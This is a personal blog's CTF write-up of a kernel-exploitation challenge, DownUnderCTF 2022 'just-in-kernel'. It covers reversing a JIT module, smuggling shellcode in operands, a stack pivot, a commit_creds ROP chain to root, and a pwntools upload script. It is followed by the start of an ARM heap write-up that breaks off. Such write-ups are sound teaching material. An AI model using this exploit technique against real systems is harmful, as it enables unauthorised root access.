gsgx

DownUnderCTF 2022 just-in-kernel Writeup

2022-09-25T00:11:54-07:00

just-in-kernel was a kernel exploitation problem in DownUnderCTF 2022, and had 11 solves by the end of the CTF. We were provided a kernel bzImage, an initramfs.cpio.gz file, a launch.sh script to launch the kernel in QEMU, and the following prompt:

A just-in-time compiler implemented completely within the kernel, wow! It's pretty limited in terms of functionality so it must be memory safe, right?

0x01: Setting up our Environment

First we examine launch.sh:

#!/bin/sh

/usr/bin/qemu-system-x86_64 \
    -m 64M \
    -kernel $PWD/bzImage \
    -initrd $PWD/initramfs.cpio.gz \
    -nographic \
    -monitor none \
    -no-reboot \
    -cpu kvm64,+smep,+smap \
    -append "console=ttyS0 nokaslr quiet" $@

We see that SMEP and SMAP are both enabled, but KASLR is disabled.

After running ./launch.sh, we can check the kernel version:

$ uname -a
Linux (none) 5.4.211 #2 SMP Thu Aug 25 20:41:02 EDT 2022 x86_64 GNU/Linux

Linux 5.4 is quite old at this point, but it's still an LTS kernel and this was a relatively recent release of it, so the intended solution is likely not a 0-day or n-day.

We see a /flag.txt file with root permissions that we can't read (and the one provided to us isn't the real flag anyway). We also see two other interesting files on the file system: /challenge.ko and /proc/challenge. Let's extract the initramfs to get the challenge.ko kernel module:

mkdir initramfs && cd initramfs
zcat ../initramfs.cpio.gz | cpio --extract --make-directories --format=newc --no-absolute-filenames

Before reversing the kernel module, there's two changes to the initramfs we should make first. First, change the line in init that reads setuidgid 1000 /bin/sh to just /bin/sh. This will give us root locally, which will be helpful in developing our exploit for reasons explained later.

Second, it will be easier to pass files to the VM if we setup a shared folder, so modify the init script in the initramfs to include this line:

mount -t 9p -o trans=virtio,version=9p2000.L shared /shared

Outside of the initramfs folder, make a folder called shared which we will use to pass the VM files.

Now we can recompress the initramfs folder:

# This is run from inside the initramfs directory
find . -print0 | cpio --null --create --verbose --format=newc | gzip --best > ../initramfs-patched.cpio.gz

Finally, we need to update the launch.sh script to make use of this patched initramfs and mount the shared folder. We also add in the ability to pass additional arguments to QEMU (see the $@ at the end), so we can start the GDB server more easily:

#!/bin/sh

/usr/bin/qemu-system-x86_64 \
    -m 64M \
    -kernel $PWD/bzImage \
    -initrd $PWD/initramfs-shared.cpio.gz \
    -nographic \
    -monitor none \
    -no-reboot \
    -cpu kvm64,+smep,+smap \
    -virtfs local,security_model=mapped-xattr,path=./shared,mount_tag=shared \
    -append "console=ttyS0 nokaslr quiet" $@

At this point, run ./launch.sh and make sure that we can transfer files through the shared directory, and that we have root in the VM.

0x02: Reversing the Module

I initially attempted to use Ghidra to reverse challenge.ko, but Ghidra had some issues loading the ELF sections at the right addresses, and attempting to modify these load addresses broke some things, so I switched to IDA. It should be possible to reverse the module in Ghidra, but you may need to spend a bit of time configuring the load addresses.

Looking at init_module, we see that a new file at /proc/challenge using the proc_create kernel API. The file_operations struct registered for this file contains four handlers: challenge_read, challenge_write, challenge_open, and challenge_release. The interesting one here is challenge_write:

__int64 __fastcall challenge_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  char *v3; // rax
  int v4; // ecx
  unsigned int v5; // edx
  char v7[1024]; // [rsp+0h] [rbp-410h] BYREF
  unsigned __int64 v8; // [rsp+400h] [rbp-10h]

  v8 = __readgsqword(0x28u);
  if ( a3 > 1024 )
    a3 = 1024LL;
  if ( copy_from_user(v7, a2, a3) || !(unsigned int)exec_user_data(v7) )
    return -22LL;
  v3 = v7;
  do
  {
    v4 = *(_DWORD *)v3;
    v3 += 4;
    v5 = ~v4 & (v4 - 0x1010101) & 0x80808080;
  }
  while ( !v5 );
  if ( (~v4 & (v4 - 0x1010101) & 0x8080) == 0 )
    v5 >>= 16;
  if ( (~v4 & (v4 - 0x1010101) & 0x8080) == 0 )
    v3 += 2;
  return &v3[-__CFADD__((_BYTE)v5, (_BYTE)v5) - 3] - v7;
}

The important parts here are that we can pass in 1024 bytes, which get copied into kernel memory and then passed to exec_user_data. The rest of the code is not relevant, as it's just an optimized version of strlen().

Looking at exec_user_data we see:

__int64 __fastcall exec_user_data(char *input)
{
  void (*code_buf)(void); // rax
  __int64 v3; // r8
  __int64 v4; // r9
  void (*code)(void); // rbx
  unsigned __int64 num_insns; // [rsp+0h] [rbp-978h] BYREF
  int insns[600]; // [rsp+8h] [rbp-970h] BYREF
  unsigned __int64 v8; // [rsp+968h] [rbp-10h]

  v8 = __readgsqword(0x28u);
  num_insns = 0LL;
  if ( !(unsigned int)instructions_parse((__int64)insns, input, (__int64 *)&num_insns) )
    return 0LL;
  code_buf = (void (*)(void))_vmalloc(4096LL, 3264LL, _default_kernel_pte_mask & 0x163);
  code = code_buf;
  if ( !code_buf || !(unsigned int)compile_instructions(insns, code_buf, num_insns, (__int64)code_buf, v3, v4) )
    return 0LL;
  code();
  return 1LL;
}

So it seems like we're supposed to input some instructions, which get parsed into some intermediate representation, these instructions then get compiled to actual x86 code, which is put in a memory region allocated by vmalloc and then executed.

Let's look at instruction_parse first:

__int64 __fastcall instructions_parse(__int64 insns, char *input, __int64 *num_insns)
{
  char *v5; // rax
  char *v6; // r12
  __int64 i; // rbx
  char *v8; // rax
  char **j; // r15
  __int64 result; // rax
  char *input_; // [rsp+0h] [rbp-378h] BYREF
  __int64 v12[2]; // [rsp+8h] [rbp-370h] BYREF
  __int64 v13; // [rsp+18h] [rbp-360h]
  _QWORD v14[107]; // [rsp+20h] [rbp-358h] BYREF

  input_ = input;
  v14[100] = __readgsqword(0x28u);
  v5 = strsep(&input_, "\n");
  if ( !v5 )
    return 0LL;
  v6 = v5;
  for ( i = 1LL; ; v14[i - 1] = v8 )
  {
    v8 = strsep(&input_, "\n");
    if ( !v8 || i == 100 )
      break;
    ++i;
  }
  for ( j = (char **)v14; ; v6 = *j )
  {
    result = instruction_from_str((__int64)v12, v6);
    if ( !(_DWORD)result )
      break;
    ++j;
    insns += 24LL;
    *(_QWORD *)(insns - 24) = v12[0];
    *(_QWORD *)(insns - 16) = v12[1];
    *(_QWORD *)(insns - 8) = v13;
    if ( j == &v14[i] )
    {
      *num_insns = i;
      return 1LL;
    }
  }
  return result;
}

The first loop is splitting our input by newlines (strsep will write a null byte at each newline), and counting the number of instructions we've passed in, up to a maximum of 100. Once it has the count of instructions, it iterates that many times over the string, parsing the instruction text into some bytecode format and storing in the insns stack buffer, which was pass in from the parent function.

Skipping over some unimportant details in instruction_from_str, we eventually end up at the mnemonic_from_str function and the operand_from_str function, which tells us about the format of the assembly instructions:

__int64 __fastcall mnemonic_from_str(const char *a1)
{
  unsigned int v1; // er8

  v1 = 0;
  if ( strcmp(a1, "mve") )
  {
    v1 = 1;
    if ( strcmp(a1, "add") )
    {
      v1 = 2;
      if ( strcmp(a1, "cmp") )
      {
        v1 = 3;
        if ( strcmp(a1, "jmp") )
        {
          v1 = 4;
          if ( strcmp(a1, "jeq") )
          {
            v1 = 5;
            if ( strcmp(a1, "jgt") )
              return (unsigned int)(strcmp(a1, "jlt") != 0) + 6;
          }
        }
      }
    }
  }
  return v1;
}

__int64 __fastcall operand_from_str(unsigned __int8 *a1)
{
  int v1; // eax
  __int64 v2; // r8
  int v4; // eax
  __int64 v5[2]; // [rsp+0h] [rbp-10h] BYREF

  v5[1] = __readgsqword(0x28u);
  v1 = *a1;
  v5[0] = 0LL;
  if ( v1 != 'a' || (v2 = 3LL, a1[1]) )
  {
    if ( v1 == 'b' )
    {
      v2 = 5LL;
      if ( !a1[1] )
        return v2;
    }
    else if ( v1 == 'c' )
    {
      v2 = 7LL;
      if ( !a1[1] )
        return v2;
    }
    if ( v1 != 'd' || (v2 = 9LL, a1[1]) )
    {
      v4 = kstrtoull(a1, 10LL, v5);
      v2 = 0LL;
      if ( !v4 )
        return 2 * v5[0];
    }
  }
  return v2;
}

So the instructions we have available are mve, add, cmp, jmp, jeq, jgt, and jlt. There are four "registers", a, b, c, and d. If you don't input one of those registers, kstrtoull is called on the input, and if the function succeeds, we return twice that value as an immediate operand.

The doubling/left shifting by one bit here was confusing to me for a while, but after some time I realized that the lower bit was used to store whether the operand was a register or immediate in the intermediate byte code. Since we left shift immediates by one, the bottom bit of an immediate operand is always zero. And note that all of the registers return odd values: 3, 5, 7, and 9. So when compiling the byte code, the bottom bit can be checked to see if it's one, which would indicate one of these registers (which we'll see soon). The compilation code will also need to right shift these operands by one to get the actual value, after it's finished checking that bottom bit. There's one important implication of this: the maximum size of an immediate operand is actually 63 bits, not 64 bits, as if you try to input 64 bits the top bit will end up getting cleared.

There's actual another limitation on operands, but only for jmp. Once the operand immediate value is parsed and returned back to instruction_from_str, the jump operand is anded by 0x1FFEuLL:

*(_QWORD *)(a1 + 8) &= 0x1FFEuLL;

This limits the range we can jump to 4095, after right shifting the result by one to undo the previous left shift (remember that we allocated 4096 bytes for the compiled code with vmalloc).

We can now take a look at the compilation code, starting with compile_instructions:

__int64 __fastcall compile_instructions(
        int *parsed_insns,
        _BYTE *code_buf,
        unsigned __int64 num_insns,
        __int64 buf_ptr,
        __int64 a5,
        __int64 a6)
{
  _BYTE *code_buf_; // r14
  unsigned __int64 num_insns_; // r12
  _BYTE *v8; // r13
  __int64 i; // rbp
  int opcode; // eax
  unsigned __int64 v13; // rax
  unsigned __int64 v14; // rdx
  unsigned __int64 v15; // rax
  unsigned __int64 v16; // rdx

  code_buf_ = code_buf;
  if ( !num_insns )
  {
LABEL_10:
    *code_buf_ = 0xC3;
    return 1LL;
  }
  num_insns_ = num_insns;
  v8 = (_BYTE *)buf_ptr;
  i = 0LL;
  while ( 1 )
  {
    opcode = *parsed_insns;
    if ( !*parsed_insns )
    {
      if ( !(unsigned int)compile_mve(
                            (__int64)code_buf_,
                            (__int64)code_buf,
                            num_insns,
                            buf_ptr,
                            a5,
                            a6,
                            *(_QWORD *)parsed_insns,
                            *((_QWORD *)parsed_insns + 1),
                            *((_QWORD *)parsed_insns + 2)) )
        return 0LL;
      code_buf_ += 10;
      goto LABEL_9;
    }
    if ( opcode == 1 )
      break;
    if ( opcode == 2 )
    {
      v15 = *((_QWORD *)parsed_insns + 1);
      v16 = *((_QWORD *)parsed_insns + 2);
      buf_ptr = (unsigned __int16)LC1;
      if ( (v15 & 1) == 0 || (v16 & 1) == 0 )
        return 0LL;
      num_insns = v16 >> 1;
      code_buf_ += 2;
      BYTE1(buf_ptr) = reg_cmp[5 * (v15 >> 1) + num_insns];
      *((_WORD *)code_buf_ - 1) = buf_ptr;
    }
    else
    {
      if ( opcode != 3 )
        return 0LL;
      code_buf = v8;
      if ( !(unsigned int)compile_jmp(
                            (__int64)code_buf_,
                            (__int64)v8,
                            num_insns,
                            buf_ptr,
                            a5,
                            a6,
                            *(_QWORD *)parsed_insns,
                            *((_QWORD *)parsed_insns + 1),
                            *((_QWORD *)parsed_insns + 2)) )
        return 0LL;
      code_buf_ += 12;
    }
LABEL_9:
    ++i;
    parsed_insns += 6;
    if ( num_insns_ == i )
      goto LABEL_10;
  }
  v13 = *((_QWORD *)parsed_insns + 1);
  v14 = *((_QWORD *)parsed_insns + 2);
  buf_ptr = (unsigned __int16)LC0;
  if ( (v13 & 1) != 0 && (v14 & 1) != 0 )
  {
    num_insns = v14 >> 1;
    code_buf_ += 2;
    BYTE1(buf_ptr) = reg_cmp[5 * (v13 >> 1) + num_insns];
    *((_WORD *)code_buf_ - 1) = buf_ptr;
    goto LABEL_9;
  }
  return 0LL;
}

Let's take a look at compile_mve and compile_jmp:

__int64 __fastcall compile_mve(
        __int64 code_buf,
        __int64 buf__,
        __int64 num_insns,
        __int64 buf,
        __int64 a5,
        __int64 a6,
        __int16 insn,
        unsigned __int64 arg1,
        unsigned __int64 arg2)
{
  unsigned int v9; // er8
  __int16 v10; // cx
  __int64 i; // rax
  char v13[2]; // [rsp+0h] [rbp-22h]
  unsigned __int64 v14; // [rsp+2h] [rbp-20h]
  __int64 v15; // [rsp+10h] [rbp-12h]
  __int16 v16; // [rsp+18h] [rbp-Ah]
  unsigned __int64 v17; // [rsp+1Ah] [rbp-8h]

  v9 = 0;
  v17 = __readgsqword(0x28u);
  v16 = 0;
  v15 = 0LL;
  if ( (arg1 & 1) != 0 && (arg2 & 1) == 0 )
  {
    v14 = arg2 >> 1;
    v10 = reg_mve[arg1 >> 1];
    for ( i = 2LL; i != 10; ++i )
      *((_BYTE *)&v15 + i) = v13[i];
    LOWORD(v15) = v10;
    v9 = 1;
    *(_QWORD *)code_buf = v15;
    *(_WORD *)(code_buf + 8) = v16;
  }
  return v9;
}

__int64 __fastcall compile_jmp(
        __int64 a1,
        __int64 code_buf,
        __int64 a3,
        __int64 a4,
        __int64 a5,
        __int64 a6,
        __int16 a7,
        unsigned __int64 arg1,
        __int64 a9)
{
  __int64 i; // rax
  unsigned int v10; // er8
  char input[10]; // [rsp+0h] [rbp-22h]
  char v13[12]; // [rsp+Eh] [rbp-14h]
  unsigned __int64 canary; // [rsp+1Ah] [rbp-8h]

  canary = __readgsqword(0x28u);
  ,*(_DWORD *)&v13[8] = 0;
  ,*(_QWORD *)v13 = 0xBF48LL;
  if ( a9 | arg1 & 1 )
  {
    return 0;
  }
  else
  {
    ,*(_QWORD *)&input[2] = code_buf + (arg1 >> 1);
    for ( i = 2LL; i != 10; ++i )
      v13[i] = input[i];
    v10 = 1;
    ,*(_WORD *)&v13[10] = 0xE7FF;
    ,*(_QWORD *)a1 = *(_QWORD *)v13;
    ,*(_DWORD *)(a1 + 8) = *(_DWORD *)&v13[8];
  }
  return v10;
}

The first thing to note about both of these functions is how they handle the instruction operands. In compile_mve, we see if ( (arg1 & 1) != 0 && (arg2 & 1) == 0 ), which, as mentioned earlier, is checking the bottom bit to make sure that arg1 is a register and arg2 is an immediate. So we can only do move instructions of the form mve a 1234. Similarly, in compile_jmp, we see if ( a9 | arg1 & 1 ) { return 0; }, which checks that if the first argument is non-zero, or if the first argument is a register, we should return. So we can only do jump instructions of the form jmp 1234.

Both functions than create actual x86 instructions from the operands. The reg_mve global array contains the opcodes 48b8, 48bb, 48b9, and 48ba0, which translate to movabs rax, imm64, movabs rbx, imm64, movabs rcx, imm64, and movabs rdx, imm64. The imm64 is the operand we provided, and it's copied into the next 8 bytes of the instruction. The jmp function is similar, but it first puts the bytes 48bf, followed by our 8 byte immediate operand, followed by ffe7, which results in this assembly:

0: 48 bf 00 00 00 00 00 00 00 00 movabs rdi, 0x0 a: ff e7 jmp rdi

Note that the jump operand is relative to the start of the code, and remember from instruction_from_str the jump distance is limited to 4095.

The rest of the compilation code is similar to this, so there's no need to reverse it here. We can now start thinking about how we want to exploit this.

0x03: Exploitation Plan

The first observation I had was while the code that limits the instructions we can pass in to the seven instructions mentioned earlier, there's minimal validation on the values in the operands. There is also no validation that the target of jump instructions actually end up in the beginning of another instruction or in the middle of one. This means we can put shellcode in the immediate operands, and then jump to it with a jmp instruction.

The problem is that we only have 8 bytes we can use for shellcode in instructions like mve and jmp, and it's actually only 63 bits due to the shifting described earlier. Those 8 bytes are followed by some bytes for the next actual instructions opcode, so we have limited control over them.

Our end goal here is to execute the standard commit_creds(prepare_kernel_cred(0)) instructions (see References for more information) to give an initially non-root process root credentials (note that we can't do ret2usr because of SMEP). But there's no way we can fit the code for that in 8 bytes.

The obvious workaround here is to smuggle in multiple snippets of shellcode in multiple instruction operands, and jump from one to the next, skipping over all the operand bytes if the instructions in-between. It turns out this was the intended solution, but I really didn't want to write that much scattered shellcode.

I had another observation which led to an alternate solution. If you look back at the code for instructions_parse, you can see that while it breaks and returns an error code if it finds an invalid instruction, it only does this for the first 100 instructions. This means we can put whatever we want after these instructions, and the first 100 instructions will still execute correctly. We can't put shellcode here, as this memory is not executable, but we can instead put a ROP chain here! Then if we can do a stack pivot in the 8 bytes of an operand, we can pivot the stack to our ROP chain, and then execute the commit_creds ROP chain.

Note that this is only possible because KASLR is disabled. While the solution of embedding all of the shellcode in the operands and jumping between them would probably work regardless of ASLR, in a CTF time is everything, and I chose to go with the ROP solution because I knew I could get it done faster.

After the CTF, chatting with the author revealed that this was an unintended solution, as the author did not mean for any bytes of the input buffer to go unchecked.

0x04: RIP Control

Let's start with just getting the stack pivot to our ROP chain working. To do this, we first need to find the address we want to store our ROP chain in.

First launch the VM and run lsmod:

/ # lsmod
challenge 16384 0 - Live 0xffffffffc0000000 (O)

We can see the challenge module is loaded at address 0xffffffffc0000000. This is one reason we gave ourselves root earlier, as without it we wouldn't be able to get these addresses.

Now that we know the load address, we can load our kernel module at that address in GDB to more easily set breakpoints. Launch the VM now like this:

./launch.sh -s -S

Because of our modifications earlier to allow passing in arbitrary QEMU arguments, this command will start the kernel with a gdbserver waiting for a connection. Because we'll be running the commands to connect to QEMU often, instead of typing them in GDB I opted to put them in a .gdbinit script in the same folder, which will be loaded whenever I run GDB. This script looks like this:

file ./vmlinux

target remote :1234
add-symbol-file initramfs/challenge.ko 0xffffffffc0000000

break challenge_write

continue

After connecting with GDB, we can trigger our break point by sending in some input to /proc/challenge:

echo foo > /proc/challenge

If we step a few instructions, stopping right after the first call, we'll see the return value of copy_from_user in rax:

The input buffer address is in rax.

(Note that while this address should be constant across executions of the VM, it seemed to change when I changed the initramfs. After developing my exploit with the patched initramfs, I switched back to the real initramfs to get the actual address. This is the address used in the rest of the writeup).

This is the input buffer that will contain our ROP chain. Now that we have this address, let's work on figuring out how to pivot the stack to this buffer.

If the address of the input buffer is 0xffffc900001afaa0, and let's say that 100 instructions takes around 0x380 bytes, the our ROP chain can start at 0xffffc900001a7e20. We would like to do mov rsp, 0xffffc900001afe20, this is too big to fit in 8 bytes of shellcode. So we want something like:

mov rdx, 0xffffc900001a7e20
mov rsp, rdx
ret

We could try use a regular mve instruction to set rdx to this value, like mve rdx 0xffffc900001a7e20, but remember that the immediate operands are only 63 bits due to the shifting, so this won't work. However, we could try to use the add instruction, but it turns out those instructions operate on 32-bit registers, i.e. edx instead of rdx, so that won't work. Luckly, the assembly for add rdx, rax is only three bytes: 4801c2. So we can first put half of the address in rdx using a regular mve instruction, and then use 3 bytes of our immediate operand to do the add, and now we have the address of our ROP chain in rdx. Finally, the opcodes for mov rsp, rdx; ret fit in the next four bytes: 4889d4c3.

Now that we have our stack pivot shellcode, all that's left is to jump to it. This is just a bit of math to calculate how many bytes of compiled instructions we've output so far, plus an additional two bytes for the following mve instruction, and that address is where our shellcode operand is located. Finally, we can put the instruction with the operand containing the shellcode after the jmp instruction, pad up to 101 instructions with cmp a a (which is only takes up two bytes), and the comes our ROP chain. Putting it all together, we have this:

def main():
    payload = []

    # The address of the instructions we input to the kernel module
    #input_buf = 0xffffc900001afaa0
    input_buf = 0xffffc900001af898

    # In our case, the ROP starts at 859 bytes, the 0x380 was just an example
    rop_addr = input_buf + 859

    # We 16 byte align the ROP chain
    padding = 16 - (rop_addr % 16)
    rop_addr += padding

    # We can't put the whole ROP chain address in a register, so we have to split it
    rop1 = rop_addr // 2
    rop2 = rop_addr // 2

    # If the ROP chain address is odd, add one to one of the two halves. This
    # isn't really necessary since we're aligning to 16 bytes, but it was useful
    # when testing the chain before aligning.
    if (rop_addr % 2 != 0):
        rop2 += 1

    # mov rdx, ROP1
    payload.append(b'mve d %d' % rop1)

    # mov rax, ROP2
    payload.append(b'mve a %d' % rop2)

    # Shellcode is at mve + mve + jmp + mve[:2] = 10 + 10 + 12 + 2 = 34
    payload.append(b'jmp 34')

    # SC:
    # # 4801c2
    # add rdx, rax
    # # 4889d4
    # mov rsp, rdx
    # # c3
    # ret

    # mov rbx, 0xc3d48948c20148
    payload.append(b'mve b 55121306554859848')

    # Repeat `cmp a a` until we have 101 instructions
    for i in range(101 - len(payload)):
        payload.append(b'cmp a a')

    # Padding so that $rsp is 16 byte aligned
    if padding != 0:
        payload.append(b'A'*(padding-1))

    # The dummy address we want to set RIP to, just for testing
    payload.append(b'A'*8)

    with open('./shared/payload.txt', 'wb') as f:
        f.write(b'\n'.join(payload))

The payload is accessible from /shared/payload.txt in the VM. Sending this to /proc/challenge/, we can confirm that we now control RIP:

/ # cat /shared/payload.txt > /proc/challenge
[   17.993953] general protection fault: 0000 [#1] SMP PTI
[   17.995769] CPU: 0 PID: 77 Comm: cat Tainted: G           O      5.4.211 #2
[   17.996050] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[   17.996922] RIP: 0010:0x4141414141414141

0x05: ROP Chain

To construct our ROP chain, we first need the address of commit_creds and prepare_kernel_cred. Because we've patched the initramfs so we're root, we can get these addresses from /proc/kallsyms (note that the provided kernel image was stripped):

/ # cat /proc/kallsyms | grep -E 'commit_creds|prepare_kernel_cred'
ffffffff810848f0 T commit_creds
ffffffff81084d30 T prepare_kernel_cred

Now we need to find a few gadgets. One issue with finding gadgets in a kernel vmlinux is the fact that many gadgets shown by gadget finding tools lie in non-executable regions of memory. To get around this, I first used pwndbg's vmmap command to find where the executable region of memory was mapped, and this one seemed correct:

0xffffffff81000000 0xffffffff81e05000 r-xp   e05000 0      <pt>

Now we can use a ROP gadget finding tool, but filter for only gadgets that contain ffff81 in the address:

$ ROPgadget --binary vmlinux > gadgets.txt
$ rg fffff81 gadgets.txt | rg 'pop rdi ; ret'

(rg here is ripgrep)

We need a pop rdi gadget to set the argument to prepare_kernel_cred to zero, followed by a gadget to move the return value in rax to rdi. The pop rdi gadget can be found with the command above, and I was able to skip the second gadget, as luckily after prepare_kernel_cred returned, the value in rdi was already the same value as in rax.

The last two gadgets we need are swapgs, which can be found easily by grepping the gadgets.txt file above, and iretq, which can be found with objdump:

$ objdump -j .text -d ./vmlinux | grep iretq | head -1

If you're not familiar with how to construct this type of ROP chain, see the links in References.

0x06: Getting a Shell

This post is already getting long, so I'll skip the details in this final step, as it's already covered in detail in many other articles.

Here's the final Python script, combining the earlier stack pivot code with some new ROP code:

def main():
    payload = []

    # The address of the instructions we input to the kernel module
    #input_buf = 0xffffc900001afaa0
    input_buf = 0xffffc900001af898

    # In our case, the ROP starts at 859 bytes, the 0x380 was just an example
    rop_addr = input_buf + 859

    # We 16 byte align the ROP chain
    padding = 16 - (rop_addr % 16)
    rop_addr += padding

    # We can't put the whole ROP chain address in a register, so we have to split it
    rop1 = rop_addr // 2
    rop2 = rop_addr // 2

    # If the ROP chain address is odd, add one to one of the two halves. This
    # isn't really necessary since we're aligning to 16 bytes, but it was useful
    # when testing the chain before aligning.
    if (rop_addr % 2 != 0):
        rop2 += 1

    # mov rdx, ROP1
    payload.append(b'mve d %d' % rop1)

    # mov rax, ROP2
    payload.append(b'mve a %d' % rop2)

    # Shellcode is at mve + mve + jmp + mve[:2] = 10 + 10 + 12 + 2 = 34
    payload.append(b'jmp 34')

    # SC:
    # # 4801c2
    # add rdx, rax
    # # 4889d4
    # mov rsp, rdx
    # # c3
    # ret

    # mov rbx, 0xc3d48948c20148
    payload.append(b'mve b 55121306554859848')

    # Repeat `cmp a a` until we have 101 instructions
    for i in range(101 - len(payload)):
        payload.append(b'cmp a a')

    # Padding so that $rsp is 16 byte aligned
    if padding != 0:
        payload.append(b'A'*(padding-1))

    ###################################################
    #                        ROP                      #
    ###################################################

    # 0xffffffff810012b8 : pop rdi ; ret
    pop_rdi = 0xffffffff810012b8

    # From /proc/kallsyms
    prepare_kernel_cred = 0xffffffff81084d30
    commit_creds = 0xffffffff810848f0

    # 0xffffffff81c00eaa : swapgs ; popfq ; ret
    swapgs = 0xffffffff81c00eaa

    # objdump -j .text -d ~/vmlinux | grep iretq | head -1
    # 0xffffffff81022a32 : iretq
    iretq = 0xffffffff81022a32

    chain = flat(pop_rdi, 0, prepare_kernel_cred)

    # rdi already contains the same value as rax
    chain += p64(commit_creds)

    chain += flat(swapgs, 0, iretq)

    # We still need to add on some registers, but we'll do that in the C program
    payload.append(chain)

    with open('./shared/payload.txt', 'wb') as f:
        f.write(b'\n'.join(payload))

    print(len(b'\n'.join(payload)))

if __name__ == '__main__':
    main()

The final step is calling our payload from a C program, and setting up a few values on the stack after our ROP chain, so that we return to a function in our code that launches a shell (yes, the save_state and shell functions are shamelessly stolen from other places on the internet):

#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>

unsigned long user_cs, user_ss, user_rflags;

static void save_state() {
        asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "pushfq\n"
        "popq %2\n"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}

void shell() {
    puts("[*] Hello from user land!");
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] UID: %d, got root!\n", uid);
    } else {
        printf("[!] UID: %d, we root-less :(!\n", uid);
        exit(-1);
    }
    system("/bin/sh");
}

int main() {
  int fd = open("./payload.txt", O_RDONLY);
  char payload[1024] = { 0 };

  int res = read(fd, payload, sizeof(payload));
  if (res <= 0) {
    perror("read");
  }
  close(fd);

  save_state();

  unsigned long* p = (unsigned long*)&payload[res];

  void* map = mmap(0, 0x2000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
  if (map == -1) {
    perror("mmap");
  }
  map += 0x1000;

  *p++ = (unsigned long)&shell;
  printf("%lx\n", *(p - 1));
  *p++ = user_cs;
  printf("%lx\n", *(p - 1));
  *p++ = user_rflags;
  printf("%lx\n", *(p - 1));
  *p++ = ((unsigned long)&fd) & ~0xF;
  printf("%lx\n", *(p - 1));
  *p++ = user_ss;
  printf("%lx\n", *(p - 1));

  int num_bytes = (uintptr_t)p - (uintptr_t)payload;
  printf("Sending %d bytes\n", num_bytes);

  // write(1, payload, num_bytes);

  fd = open("/proc/challenge", O_WRONLY);
  if (fd < 0) {
    perror("open");
  }
  printf("%d\n", fd);
  res = write(fd, payload, num_bytes);
  if (res < 0) {
    perror("write");
  }
}

So RIP will point to our shell function, and the stack will be some region we've mmap'd.

Now all we need to do is run this on the server. To make the size of the binary as small as possible, I used musl-gcc to compile it:

$ musl-gcc solve.c -static -o ./shared/solve

I then gzipped it and base64 encoded it, sent to the server, extracted everything, and ran the exploit:

#!/usr/bin/env ipython3

from pwn import *
import base64
import gzip

with open('shared/solve', 'rb') as f:
    b = base64.b64encode(gzip.compress(f.read())).decode('ascii')

print(len(b))

r = remote('2022.ductf.dev', 30020)
sleep(10)

r.sendline('cd /home/ctf')

groups = group(300, b)
for g in groups:
    r.sendline('echo %s >> solve.gz.b64' % g)

r.sendline('base64 -d ./solve.gz.b64 > solve.gz')
r.sendline('gunzip solve.gz')
r.sendline('chmod +x solve')

with open('shared/payload.txt', 'rb') as f:
    b = base64.b64encode(gzip.compress(f.read())).decode('ascii')

print(len(b))

groups = group(300, b)
for g in groups:
    r.sendline('echo %s >> payload.txt.gz.b64' % g)

r.sendline('base64 -d ./payload.txt.gz.b64 > payload.txt.gz')
r.sendline('gunzip payload.txt.gz')

r.interactive()

0x07: Final Notes

An interesting observation I had while debugging my exploit is a strange crash I was getting (in the userspace code, not in kernel code) that resulted in this log in dmesg:

solve[78]: segfault at 40179d ip 000000000040179d sp 00007ffec1462340 error 15 in solve[401000+99000]".

Googling "error 15", I see it means "attempt to execute code from a mapped memory area that isn't executable". In GDB, I noted that sometimes after the iretq, RIP would be set to the address of shell in my exploit binary, but after executing that instruction it would crash with this same error message. But if I ran the exploit a few more times with no changes, it would work. I'm not sure exactly what was going on, but after running it around 30 times on the server, it finally worked.

0x08: References

OTW Advent CTF 2018: nightmare Writeup

2018-12-26T11:15:20-05:00

This is a writeup for nightmare, the day 23 challenge for the OverTheWire Advent CTF. The problem was a 350 point ARM exploitation challenge and had 8 solves by the end of the CTF. You can find the binary and the supplied libraries here. In short, my solution was to overwrite the top chunk size by getting another heap chunk to overlap it, followed by using the House of Force exploitation technique to overwite a GOT pointer to point to system.

Reversing the binary

We can see that the binary is a 32-bit, stripped ARM executable

$ file nightmare
nightmare: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=2f19e67a3f64377e99e841f8fb84d708e4884367, stripped

checksec shows the following:

$ checksec nightmare
Arch:     arm-32-little
RELRO:    No RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x10000)
FORTIFY:  Enabled

Note that RELRO is disabled. I believe my solution should work with partial RELRO, which is the default, so I’m not sure why it was disabled.

We are also supplied with the ld-2.27.so and libc-2.27.so libraries as well as a bash script that runs qemu-arm -L ./ ./nightmare so the binary can be run on non-ARM systems.

After running the binary with qemu, we see a menu with four options: give, get, clear, and exit. give will read an integer less than 0x2000 as the size, read size bytes of input, base64 encode that input (returned as a heap buffer), append the 4 byte size integer to the base64 encoded string, and then store the pointer to that string in a global storage array. Here’s how it looks in IDA:

int give()
{
  __int32 size; // r0@4
  __int16 size_; // r7@4
  int v3; // r2@4
  int v4; // r3@4
  unsigned int data_len; // r0@4
  int v6; // r7@4
  const char *encoded_str; // r0@4
  int v8; // r2@4
  const char *v9; // r6@4
  size_t v10; // r0@6
  int v11; // r3@6
  int v12; // r12@6
  __int32 size__; // [sp+0h] [bp-2020h]@4
  char data_buf[8192]; // [sp+4h] [bp-201Ch]@4
  int v15; // [sp+2004h] [bp-1Ch]@1

  v15 = 0;
  if ( storage_size > 127 )
    return _printf_chk(1, "\x1B[31;1mp00p:\x1B[0m storage full\n", (int)&v15, 0);
  size = read_size();
  size_ = size;
  size__ = size;
  _printf_chk(1, "data: ", v3, v4, size);
  *(_DWORD *)data_buf = 0;
  memset(&data_buf[4], 0, 0x1FFCu);
  data_len = _read_chk(0, data_buf, size_ & 0x1FFF, 0x2000);
  v6 = data_len;
  encoded_str = b64_encode((unsigned __int8 *)data_buf, data_len);
  v9 = encoded_str;
  if ( !*encoded_str )
